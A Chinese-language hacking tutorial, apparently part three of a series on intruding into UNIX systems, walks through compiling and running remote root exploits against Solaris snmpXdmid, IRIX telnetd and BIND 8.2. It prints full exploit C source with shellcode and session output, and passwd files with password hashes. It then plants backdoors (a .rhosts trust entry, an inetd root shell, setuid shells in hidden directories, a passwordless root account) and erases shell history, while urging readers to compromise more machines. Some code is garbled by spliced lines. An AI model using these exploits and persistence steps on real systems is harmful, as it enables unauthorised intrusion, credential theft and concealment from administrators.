UNIX入侵过程(3)

黑客是如何轻松入侵你的 UNIX 系统?揭秘你从未注意的CUPS漏洞! CUPS,顾名思义,主要是用来管理打印任务的。你可能想,打印服务不就是发个文件给打印机,能有多大危险?但问题就在于,CUPS 不仅仅是一个简单的打印工具,它在 UNIX 系统中其实扮演了非常重要的角色。它可以远程管理打印设备,甚至处理用户权限。如果黑客能利用 CUPS 的漏洞进入你的系统,那不仅仅是打印问题,整个系统可能都被暴露。打个比方,CUPS 就像是你家门口的信箱,如果你平时对它不太关注,也许有一天小偷就会趁你不注意,从信箱开个小口子,悄悄潜入家中。 阅读详情
# gcc -o snmp snmp.c

snmp.c: In function `main':

snmp.c:135: warning: assignment makes pointer from integer without a cast

snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type

Undefined                       first referenced

 symbol                             in file

xdr_void                            /var/tmp/cca3rEDd.o

clnttcp_create                      /var/tmp/cca3rEDd.o

gethostbyname                       /var/tmp/cca3rEDd.o

xdr_bool                            /var/tmp/cca3rEDd.o

xdr_u_long                          /var/tmp/cca3rEDd.o

authsys_create                      /var/tmp/cca3rEDd.o

inet_addr                           /var/tmp/cca3rEDd.o

clnt_pcreateerror                   /var/tmp/cca3rEDd.o

xdr_array                           /var/tmp/cca3rEDd.o

getsockname                         /var/tmp/cca3rEDd.o

xdr_char                            /var/tmp/cca3rEDd.o

xdr_pointer                         /var/tmp/cca3rEDd.o

ld: fatal: Symbol referencing errors. No output written to snmp      (***编译失败***)

collect2: ld returned 1 exit status

# gcc -o snmp snmp.c –lnsl

snmp.c: In function `main':

snmp.c:135: warning: assignment makes pointer from integer without a cast

snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type

Undefined                       first referenced

 symbol                             in file

getsockname                         /var/tmp/ccBaS71K.o

ld: fatal: Symbol referencing errors. No output written to snmp

collect2: ld returned 1 exit status

# gcc -o snmp snmp.c -lnsl –lsocket       (***要利用nsl和socket的库进行编译***)

snmp.c: In function `main':

snmp.c:135: warning: assignment makes pointer from integer without a cast

snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type

# ./snmp

copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/

snmpXdmid for solaris 2.7 2.8 sparc

 

usage: ./snmp address [-p port] -v 7|8

#./snmp 192.168.0.4 –v 8         (***192.168.0.4 是台sunos 5.8 sparc的机器***)

copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/

snmpXdmid for solaris 2.7 2.8 sparc

 

adr=0x000c8f68 timeout=30 port=928 connected! 

sent!

SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250

id

uid=0(root) gid=0(root)

echo “+ +” >/.rhosts

echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x 

/usr/sbin/inetd -s /tmp/.x 

rm -f /tmp/.x 

telnet localhost 1524 

Trying 127.0.0.1... 

Connected to localhost. Escape character is '^]'. 

# id

ksh: id^M: not found 

# id; 

uid=0(root) gid=0(root) 

ksh: ^M: not found 

# exit; 

Connection closed by foreign host.

Exit             (***随便装个后门走人***)

#

-------------------------------------------------test--------------------------------------------------------------

 

 

SunOS 5.6 5.7 5.8的机器都有了,找找其他系统吧。

什么系统最破呢?

Win2000?

呵呵,我说的是UNIX系列。

告诉大家,IRIX最破~

HOHO~

记得昨天就扫到一台IRIX的破机器呢,我们接着来干掉它~

 

 

-------------------------------------------------test--------------------------------------------------------------

# telnet 192.168.0.10 

Trying 192.168.0.10...

Connected to 192.168.0.10.

Escape character is '^]'.

 

 

IRIX (O2)

 

login: test

Password:

UX:login: ERROR: Login incorrect

login:^]

telnet> quit

Connection closed.

#cat > telnetd.c       (***源程序在http://lsd-pl.net/files/get?IRIX/irx_telnetd ***)

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

 

char shellcode[]=

    "/x04/x10/xff/xff"             /* bltzal  $zero,    */

    "/x24/x02/x03/xf3"             /* li      $v0,1011             */

    "/x23/xff/x02/x14"             /* addi    $ra,$ra,532          */

    "/x23/xe4/xfe/x08"             /* addi    $a0,$ra,-504         */

    "/x23/xe5/xfe/x10"             /* addi    $a1,$ra,-496         */

    "/xaf/xe4/xfe/x10"             /* sw      $a0,-496($ra)        */

    "/xaf/xe0/xfe/x14"             /* sw      $zero,-492($ra)      */

    "/xa3/xe0/xfe/x0f"             /* sb      $zero,-497($ra)      */

    "/x03/xff/xff/xcc"             /* syscall                      */

    "/bin/sh"

;

 

typedef struct{char *vers;}tabent1_t;

typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

 

tabent1_t tab1[]={

    { "IRIX 6.2  libc.so.1: no patches      telnetd: no patches          " },

    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: no patches          " },

    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches          " },

    { "IRIX 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414 " },

    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414 " },

    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414 " },

    { "IRIX 6.3  libc.so.1: no patches      telnetd:    { "IRIX 6.3  libc.so.1: 2087            telnetd: no patches          " },

    { "IRIX 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches          " },

    { "IRIX 6.4  libc.so.1: no patches      telnetd: no patches          " },

    { "IRIX 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches          " },

    { "IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          " },

    { "IRIX 6.5.8f                          telnetd: no patches          " }

};

 

tabent2_t tab2[]={

    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },

    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },

    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },

    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },

    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },

    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },

    { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },

    { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },

    { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },

    { 1, 0x5e, 0x0fb576d8,  88, 0x7fc4cf70, 0x1c },

    { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },

    { 1, 0x5e, 0x7fc496e8,  77, 0x7fc4cf98, 0x1c },

    { 1, 0x5e, 0x7fc496e0,  77, 0x7fc4cf98, 0x1c }

};

 

char env_value[1024];

 

int prepare_env(int vers){

    int i,adr,pch,adrh,adrl;

    char *b;

 

    pch=tab2[vers].got+(tab2[vers].g_ofs*4);

    adr=tab2[vers].subbuffer+tab2[vers].s_ofs;

    adrh=(adr>>16)-tab2[vers].len;

    adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;

 

    b=env_    if(!tab2[vers].flg){

        for(i=0;i<1;i++) *b++=' ';

        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);

        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);

        for(i=0;i<3;i++) *b++=' ';

        for(i=0;i
            *b++=shellcode[i];

            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];

        }

        sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);

    }else{

        for(i=0;i<5;i++) *b++=' ';

        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);

        for(i=0;i<4;i++) *b++=' ';

        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);

        for(i=0;i<3;i++) *b++=' ';

        for(i=0;i
            *b++=shellcode[i];

            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];

        }

        sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);

    }

    b+=strlen(b);

    return(b-env_value);

}

 

main(int argc,char **argv){

    char buffer[8192];

    int i,c,sck,il,ih,cnt,vers=65;

    struct hostent *hp;

    struct sockaddr_in adr;

 

    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net//n");

    printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all/n/n");

 

    if(argc<2){

        printf("usage: %s address [-v 62|63|64|65]/n",argv[0]);

        exit(-1);

    }

 

    while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){

        switch(c){

        case 'v': vers=atoi(optarg);

        }

    }   

 

    switch(vers){

    case 62: il=0;ih=5; break;

    case 63: il=6;ih=8; break;

    case 64: il=9;ih=10; break;

    case 65: il=11;ih=12; break;

    default: exit(-1);

    }

 

    for(i=il;i<=ih;i++){

        printf(".");fflush(stdout);

        sck=socket(AF_INET,SOCK_STREAM,0);

        adr.sin_family=AF_INET;

        adr.sin_port=htons(23);

        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){

            if((hp=gethostbyname(argv[1]))==NULL){

                errno=EADDRNOTAVAIL;perror("error");exit(-1);

            }

            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);

        }

 

        if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){

            perror("error");exit(-1);

        }

 

        cnt=prepare_env(i);

        memcpy(buffer,"/xff/xfa/x24/x00/x01/x58/x58/x58/x58/x00",10);

        sprintf(&buffer[10],"%s/xff/xf0",env_value);

        write(sck,buffer,10+cnt+2);

        sleep(1);

        memcpy(buffer,"/xff/xfa/x24/x00/x01/x5f/x52/x4c/x44/x00%s/xff/xf0",10);

        sprintf(&buffer[10],"%s/xff/xf0",env_value);

        write(sck,buffer,10+cnt+2);

 

        if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){

            printf("warning: telnetd seems to be used with tcp wrapper/n");

        }

 

        write(sck,"/bin/uname -a/n",14);

        if((cnt=read(sck,buffer,sizeof(buffer)))>0){

            printf("/n%s/n/n",tab1[i].vers);

            write(1,buffer,cnt);

            break;

        }

        close(sck);

    }

    if(i>ih) {printf("/nerror: not vulnerable/n");exit(-1);}

 

    while(1){

        fd_set fds;

        FD_ZERO(&fds);

        FD_SET(0,&fds);

        FD_SET(sck,&fds);

        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){

            int cnt;

            char buf[1024];

            if(FD_ISSET(0,&fds)){

                if((cnt=read(0,buf,1024))<1){

                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;

                    else break;

                }

                write(sck,buf,cnt);

            }

            if(FD_ISSET(sck,&fds)){

                if((cnt=read(sck,buf,1024))<1){

                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;

                    else break;

                }

                write(1,buf,cnt);

            }

        }

    }

}

^D

 

# gcc -o telnetd telnetd.c

telnetd.c:33: parse error before `IRIX'

telnetd.c:37: malformed floating constant

telnetd.c:37: nondigits in number and not hexadecimal

telnetd.c:37: malformed floating constant

telnetd.c:38: malformed floating constant

telnetd.c:77: nondigits in number and not hexadecimal

…              (***因为粘贴文本出错,一大堆出错信息***)

# vi telnetd.c      (***只好用vi来编辑程序***)

"telnetd.c" [New file] 

#include 

#include 

#include 

…

(***重新粘贴一遍***)

…

"telnetd.c" [New file] 188 lines, 6738 characters 

# gcc -o telnetd telnetd.c

Undefined                       first referenced

 symbol                             in file

socket                              /var/tmp/ccuoeAph.o

gethostbyname                       /var/tmp/ccuoeAph.o

inet_addr                           /var/tmp/ccuoeAph.o

connect                             /var/tmp/ccuoeAph.o

ld: fatal: Symbol referencing errors. No output written to telnetd

collect2: ld returned 1 exit status

# gcc -o telnetd telnetd.c -lsocket -lnsl

# ./telnetd

copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/

telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

 

usage: ./telnetd address [-v 62|63|64|65]

# ./telnetd 192.168.0.10 -v 65

copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/

telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all

 

.

IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          

 

IRIX O2 6.5 05190004 IP32       (***溢出成功啦***)

id

uid=0(root) gid=0(sys)

cat /etc/passwd

root:mmanI4kyarAEA:0:0:Super-User:/:/usr/bin/tcsh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

cmwlogin:*:0:994:CMW Login UserID:/usr/CMW:/sbin/csh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh                       ***不少人进来过呢

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico  *

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

sgiweb:*:13:60001:SGI Web Applications:/var/www/htdocs:/bin/csh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

EZsetup::992:998:System Setup:/var/sysadmdesktop/EZsetup:/bin/csh       * 

demos::993:997:Demonstration User:/usr/demos:/bin/csh                  *

OutOfBox::995:997:Out of Box Experience:/usr/people/OutOfBox:/bin/csh   *

guest::998:998:Guest Account:/usr/people/guest:/bin/csh                  *

4Dgifts:*:999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null

noaccess:*:60002:60002:uid no access:/dev/null:/dev/null

nobody:*:60001:60001:original nobody uid:/dev/null:/dev/null

informix:*:49999:777:Informix SA 3.0:/usr/sgi/informix:/bin/csh

posuser:gyo7hUq9BFNYE:55555:20:::

antoni:zUzbvPoZ6HC4g:23117:20:antoniWang:/usr/people/antoni:/bin/csh 

#mkdir /usr/lib/...      (***有这么多用户可以登陆,我们做个suid root shell就可以啦。***)

cp /bin/ksh /usr/lib/.../.x

chmod +s /usr/lib/.../.x

exit

#

-------------------------------------------------test--------------------------------------------------------------

 

 

在SunOS 5.7平台下攻击IRIX 6.5 系统成功完成。:)

我们来找几台Linux 玩玩。找Redhat吧,漏洞多一些,比如rpc.statd wuftp bind lpd等。:P 

我们同样以这个SunOs 5.7做为我们攻击Linux的平台。Lsd写的exploit通用性真不错。

这次我们用bind远程溢出来攻击redhat 6.2

不过因为前段时间的worm,bind的成功率已经很小啦。

大家可以试试其它的远程溢出~~

 

 

-------------------------------------------------test--------------------------------------------------------------

#cat > bind.c        (***源程序在http://lsd-pl.net/files/get?LINUX/linx86_bind ***)

#include 

#include 

#include 

#include 

#include 

#include 

#include 

 

char msg[]={

    0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,

    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,

    0x01,0x20,0x20,0x20,0x20,0x02,0x61

};

 

char asmcode[]=

    "/x3f"                 /* label len 63                   */

    "/x90/x90/x90"         /* padding                        */

 

    "/xeb/x3b"             /* jmp          */

    "/x31/xdb"             /* xorl    %ebx,%ebx              */

    "/x5f"                 /* popl    %edi                   */

    "/x83/xef/x7c"         /* sub     $0x7c,%edi             */

    "/x8d/x77/x10"         /* leal    0x10(%edi),%esi        */

    "/x89/x77/x04"         /* movl    %esi,0x4(%edi)         */

    "/x8d/x4f/x20"         /* leal    0x20(%edi),%ecx        */

    "/x89/x4f/x08"         /* movl    %ecx,0x8(%edi)         */

    "/xb3/x10"             /* movb    $0x10,%bl              */

    "/x89/x19"             /* movl    %ebx,(%ecx)            */

    "/x31/xc9"             /* xorl    %ecx,%ecx              */

    "/xb1/xff"             /* movb    $0xff,%cl              */

    "/x89/x0f"             /* movl    %ecx,(%edi)            */

    "/x51"                 /* pushl   %ecx                   */

    "/x31/xc0"             /* xorl    %eax,%eax              */

    "/xb0/x66"             /* movb    $0x66,%al              */

    "/xb3/x07"             /* movb    $0x7,%bl               */

    "/x89/xf9"             /* movl    %edi,%ecx              */

    "/xcd/x80"             /* int     $0x80                  */

    "/x59"                 /* popl    %ecx                   */

    "/x31/xdb"             /* xorl    %ebx,%ebx              */

    "/x39/xd8"             /* cmpl    %ebx,%eax              */

    "/x75/x0a"             /* jne            */

    "/x66/xbb/x12/x34"     /* movw    $0x1234,%bx            */

    "/x66/x39/x5e/x02"     /* cmpw    %bx,0x2(%esi)          */

    "/x74/x08"             /* je           */

    "/xe2/xe0"             /* loop           */

 

    "/x3f"                 /* label len 63                   */

 

    "/xe8/xc0/xff/xff/xff" /* call            */

    "/x89/xcb"             /* movl    %ecx,%ebx              */

    "/x31/xc9"             /* xorl    %ecx,%ecx              */

    "/xb1/x03"             /* movb    $0x03,%cl              */

    "/x31/xc0"             /* xorl    %eax,%eax              */

    "/xb0/x3f"             /* movb    $0x3f,%al              */

    "/x49"                 /* decl    %ecx                   */

    "/xcd/x80"             /* int     $0x80                  */

    "/x41"                 /* incl    %ecx            "/xe2/xf6"             /* loop           */

 

    "/xeb/x14"             /* jmp              */

    "/x31/xc0"             /* xorl    %eax,%eax              */

    "/x5b"                 /* popl    %ebx                   */

    "/x8d/x4b/x14"         /* leal    0x14(%ebx),%ecx        */

    "/x89/x19"             /* movl    %ebx,(%ecx)            */

    "/x89/x43/x18"         /* movl    %eax,0x18(%ebx)        */

    "/x88/x43/x07"         /* movb    %al,0x7(%ebx)          */

    "/x31/xd2"             /* xorl    %edx,%edx              */

    "/xb0/x0b"             /* movb    $0xb,%al               */

    "/xcd/x80"             /* int     $0x80                  */

    "/xe8/xe7/xff/xff/xff" /* call              */

    "/bin/sh"

 

    "/x90/x90/x90/x90"     /* padding                        */

    "/x90/x90/x90/x90"

;

 

int rev(int a){

    int i=1;

    if((*(char*)&i)) return(a);

    return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);

}

 

int main(int argc,char **argv){

    char buffer[1024],*b;

    int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;

    struct hostent *hp;

    struct sockaddr_in adr;

 

    printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net//n");

    printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86/n/n");

 

    if(argc<2){

        printf("usage: %s address [-s][-e]/n",argv[0]);

        printf("    -s  send infoleak packet/n");

        printf("    -e  send exploit packet/n");

        exit(-1);

    }

 

    while((c=getopt(argc-1,&argv[1],"se"))!=-1){

        switch(c){

        case 's': flag=1;break;

        case 'e': flag=2;

        }

    }

    if(flag==-1) exit(-1);

 

    adr.sin_family=AF_INET;

    adr.sin_port=htons(53);

    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {

        if((hp=gethostbyname(argv[1]))==NULL) {

            errno=EADDRNOTAVAIL;goto err;

        }

        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);

    }

 

    sck[0]=socket(AF_INET,SOCK_DGRAM,0);

    sck[1]=socket(AF_INET,SOCK_STREAM,0);

 

    if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

    if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

 

    i=sizeof(struct sockaddr_in);

    if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){

        struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};

        struct netbuf nb;

        ioctl(sck[1],(('S'<<8)|2),"sockmod");

        nb.maxlen=0xffff;

        nb.len=sizeof(struct sockaddr_in);;

        nb.buf=(char*)&adr;

        ioctl(sck[1],(('T'<<8)|144),&nb);

    }

    n=ntohs(adr.sin_port);

 

    asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);

    asmcode[4+48+3]=(unsigned char)(n&0xff);

 

    if(write(sck[0],msg,sizeof(msg))==-1) goto err;

    if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;

   

    printf("stack dump:/n");

    for(i=0;i<(cnt-512);i++){

        printf("%s%02x ",(i&&(!(i%16)))?"/n":"",(unsigned char)buffer[512+i]);

    }

    printf("/n/n");

 

    fp=rev(*(unsigned int*)&buffer[532]);

    ofs=(0xfe)-((fp-(fp&0xffffff00))&0xff);

    cnt=163;

 

    if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){

        printf("system does not seem to be a vulnerable linux/n");exit(1);

    }

    if(flag==1){

        printf("system seems to be running bind 8.2.x on a linux/n");exit(-1);

    }

    if(cnt<(ofs+28)){

        printf("frame ptr is too low to be successfully exploited/n");exit(-1);

    }

 

 

    jmp=rev(fp-586);

    ptr6=rev((fp&0xffffff00)-12);

    fp=rev(fp&0xffffff00);

 

    printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);

    printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

 

    b=buffer;

    memcpy(b,"/xab/xcd/x01/x00/x00/x02/x00/x00/x00/x00/x00/x01",12);b+=12;

    for(i=0;i
    for(i=0;i<(128>>1);i++,b++) *b++=0x01;

    memcpy(b,"/x00/x00/x01/x00/x01",5);b+=5;

    for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

 

    *b++=28;

    memcpy(b,"/x06/x00/x00/x00",4);b+=4;

    memcpy(b,&fp,4);b+=4;

    memcpy(b,"/x06/x00/x00/x00",4);b+=4;

    memcpy(b,&jmp,4);b+=4;

    memcpy(b,&jmp,4);b+=4;

    memcpy(b,&fp,4);b+=4;

    memcpy(b,&ptr6,4);b+=4;

 

    cnt-=ofs+28;

    for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

 

    memcpy(b,"/x00/x00/x01/x00/x01/x00/x00/xfa/xff",9);b+=9;

 

 

    if(write(sck[0],buffer,b-buffer)==-1) goto err;

    sleep(1);printf("sent!/n");

 

    write(sck[1],"/bin/uname -a/n",14);

    while(1){

        fd_set fds;

        FD_ZERO(&fds);

        FD_SET(0,&fds);

        FD_SET(sck[1],&fds);

        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){

            int cnt;

            char buf[1024];

            if(FD_ISSET(0,&fds)){

                if((cnt=read(0,buf,1024))<1){

                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;

                    else break;

                }

                write(sck[1],buf,cnt);

            }

            if(FD_ISSET(sck[1],&fds)){

                if((cnt=read(sck[1],buf,1024))<1){

                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;

                    else break;

                }

                write(1,buf,cnt);

            }

        }

    }

    exit(0);

err:

    perror("error");exit(-1);

}

^D

 

# gcc -o bind bind.c -lnsl -lsocket

# ./bind

copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net/

bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86

 

usage: ./bind address [-s][-e]

    -s  send infoleak packet

    -e  send exploit packet

#./bind 192.168.0.20 -e

copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net/

bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86

 

stack dump:

42 24 08 08 02 00 b1 ed ca 42 c8 06 95 d0 15 c0 

00 cb fa c0 a8 fc ff bf d6 58 08 08 90 3f 0d 08 

f4 a4 10 40 16 00 00 00 01 00 00 00 90 3f 0d 08 

05 00 00 00 e0 e7 0b 08 16 00 00 00 01 00 00 00 

a0 e0 05 08 f4 a4 10 40 c4 fc ff bf 60 e9 0c 08 

00 00 00 00 c8 fd ff bf c8 fd ff bf 61 d6 05 08 

90 3f 0d 08 bc 76 10 40 b4 11 10 40 14 fe ff bf 

01 00 00 00 bc 76 10 40 

 

frame ptr=0xbffffc00 adr=bffffa5e ofs=86 port=e1fa connected! sent!

Linux localhost.localdomain 2.2.14-5.0 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown

Id

uid=0(root) gid=0(root)

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/var/spool/news:

uucp:x:10:14:uucp:/var/spool/uucp:

operator:x:11:0:operator:/root:

games:x:12:100:games:/usr/games:

gopher:x:13:30:gopher:/usr/lib/gopher-data:

ftp:x:14:50:FTP User:/home/ftp:

nobody:x:99:99:Nobody:/:

xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false

gdm:x:42:42::/home/gdm:/bin/bash

william:x:500:500:William Wang:/home/william:/bin/bash

www:x:688:501:web user:/home/www:/bin/bash

xeye:x:689:501:Xeye web user:/home/xeye:/bin/bash

td_ftp:x:655:50:TD Bank FTP Client:/home/td_bank:/bin/bash

cyberplex:x:690:100:Cyber:/home/cyberplex:/bin/bash

echo “test::1:0::/:/bin/bash” > /etc/passwd

telnet localhost

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

 

Red Hat Linux release 6.2 (Zoot)

Kernel 2.2.14-5.0 on an i686

login: test

bash$ id

uid=1(bin) gid=0(root) groups=0(root)

bash$ exit

logout

Connection closed by foreign host.

mkdir /usr/lib/…

cp /bin/sh /usr/lib/…/.x

chmod +s /usr/lib/…/.x

exit

#rm –rf /tmp/*.c

#mv bind /usr/lib/…

#mv test /usr/lib/…

#mv lpset /usr/lib/…

#mv snmp /usr/lib/…

#cd

#rm –rf .sh_history /.sh_history

#chmod 777 /usr/lib/…

#exit

$exit

-------------------------------------------------test--------------------------------------------------------------

 

 

省略了很多,如后门安装和脚印的擦除等。

其实入侵一个系统后更要注意保持自己在系统上的权限,所以清除日志以免被发现,和安放后门以便再次进入这个系统
都是很重要的。

因为以前写过这方面的教程,就不再写了。

大家慢慢提高自己的技术吧。

有时间就去扩散战果,比如Redhat 7.0和该死的freebsd。

自己想办法哦。

 

 

肉鸡找回来几台,最后一篇入侵教程总算也写完了,再见啦~

以后也许会写一些技术分析的文章。

大家好运…

查找入侵系统日志的UNIX命令及系统运维 通过使用这些命令,我们可以有效地查找关键字、提取和分析日志字段,甚至实时监控日志文件的更新。入侵系统是一种常见的安全威胁,对于系统管理员和运维人员来说,了解如何查找并分析入侵系统的日志是至关重要的。grep命令是UNIX系统中非常强大的文本搜索工具,我们可以使用它来查找包含特定关键字的日志记录。awk是一种用于文本处理的强大工具,它可以帮助我们从日志文件中提取和分析特定的字段。sed命令是一种用于文本替换和编辑的工具,我们可以使用它来修改日志文件中的内容。该命令将输出所有包含关键字"入侵"的日志记录。 阅读详情

相关推荐

PlutoSDR驱动安装避坑指南:从设备管理器异常到MATLAB 2023b完美识别

本文是一份详细的PlutoSDR驱动安装与MATLAB 2023b集成排错指南。针对Windows系统下常见的设备管理器异常、驱动兼容性问题,提供了从旧驱动清理、手动指定驱动文件到USB连接稳定性排查的完整解决方案。重点阐述了如何通过离线安装硬件支持包,并利用MATLAB命令进行连接测试与射频信号验证,最终实现设备的完美识别与稳定调用。

weixin_29159441的博客 428

记一次被挂挖矿脚本的经历

好久没登服务器,今天打开mobaxterm,突然发现CPU占用60+,感觉不对劲。 htop发现systemd进程跑满了8个内核,剩下4个是0占用。 然后top 发现systemd跑了个python。 ?????? 通过lsof和netstat定位到进程和远程连接,确认该进程占用了大量计算资源,并和外网通信。 kill pid后,没过一会儿,又回来了。 定位到文件位置/tmp/.X12_ ...

DPCFish的博客 1540

quartus 13.1常见报错解决方法

在使用quartus中会遇到很多由于安装或设置不规范造成的错误。我就目前我遇到的一些错误以及我的解决方法分享给大家,这个文章将会持续更新,如果读者有遇到软件中错误无法解决的问题,也欢迎在评论区留言。 一、编译出现lience错误 在对设计的电路编译时,系统在程序运行3秒内即结束并报错,大概意思为现有的证书不支持编译。这个常见问题源自破解不成功,这里读者很有可能犯的错误是在使用破解器的时候没有区分x86(即32-bit)和x64软件破解器对应的文件夹。 如图所示有两种破解器,分别对应32位和64位的软件,大部

肥宅的博客 3万+

函数模块化程序设计 C语言的实验报告答案,C语言实验报告题及答案

《C程序设计实验》实验一 C程序开发环境(2学时)1.实验目的熟悉C语言的集成开发环境,了解菜单的使用方法;掌握C语言程序上机的编辑、编译、连接、运行的基本步骤;了解C语言程序的结构。2.实验内容(1)熟悉C语言程序上机的编辑、编译、连接、运行的基本步骤;(2)输入并调试、运行下面的程序。#includeint main( ){printf ("This is a C program.\n");r...

weixin_32465003的博客 2733

《AI大模型评测与智能测试》

第三篇“实践蓝图”(第6-7章)着眼于测试领域AI应用,重点介绍了RAG、AI Agent开发及构建端到端智能测试系统的方法。本书聚焦AI时代的“质量”核心,以“AI赋能测试”(AI For Testing)与“AI模型评测”(Testing For AI)为双轮驱动。内容不仅深入剖析如何科学度量AI大模型的内在质量,还系统讲解如何利用AI赋能传统软件测试,帮助读者贯通从模型原理、评测到应用开发的全链路知识。

酌沧 1140

华为面试手撕真题【求1-n的最小公倍数】

求1-n的最小公倍数

MISAYAONE的博客 2万+

solaris10g++编译程序链接时候报错symbol referencing errors

